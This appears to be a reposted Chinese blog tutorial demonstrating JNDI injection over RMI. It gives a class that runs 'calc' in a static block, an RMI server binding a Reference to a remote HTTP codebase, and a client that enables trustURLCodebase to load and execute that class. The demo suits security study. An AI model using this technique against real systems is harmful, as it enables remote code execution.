JNDI注入demo使用rmi方式
作者:互联网
JNDI注入demo
大致说下原理,JNDI可以获取远程类并在当前环境里面执行。
如果我们知道的某个程序某一处执行了JNDI,那么我们编写一个恶意类让其访问获取,就可以做很多事情了。
当前demo使用的是rmi协议
一。准备工作
1.编写一个恶意类Muma.
里面调用了calc,这个相当于调用了一个计算器。
public class Muma {
static {
try {
Runtime.getRuntime().exec("calc").waitFor();
} catch (Exception e1) {
e1.printStackTrace();
}
}
}
值得注意的是,这里面不能有package。
2.编译Muma
javac Muma.java
然后我们获得了Muma.class
3.把Muma.class放到服务器上面。
本例放到tomcat的ROOT下面。
启动tomcat,http://localhost:8080/Muma.class可以获取到该文件。
4.架设rmi服务器。
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class RmiServer {
public static void main(String[] args) throws Exception {
//恶意类名字
String className = "Muma";
//恶意类.class所在的服务器
String classNameServer = "http://localhost:8080/";
//rmi服务器的端口
int port = 9527;
//rmi服务器对外开放的名字
String rmiClassName = "muma123";
Registry registry = LocateRegistry.createRegistry(port);
Reference r = new Reference(className, className, classNameServer);
registry.bind(rmiClassName, new ReferenceWrapper(r));
System.out.println("启动rmi服务:localhost:"+9527+",对外开放:"+rmiClassName);
}
}
到此为止,我们的准备工作做好了。然后我们做个客户端来访问下这个rmi服务。
4.测试
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RmiClient {
public static void main(String[] args) throws NamingException {
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Context context = new InitialContext();
context.lookup("rmi://127.0.0.1:9527/muma123");
}
}
相当的的NICE!!!
结语
jndi可以由rmi、ladp等多种协议实现。
标签:String,demo,public,JNDI,Muma,import,rmi,class 来源: https://blog.csdn.net/dmw412724/article/details/121890933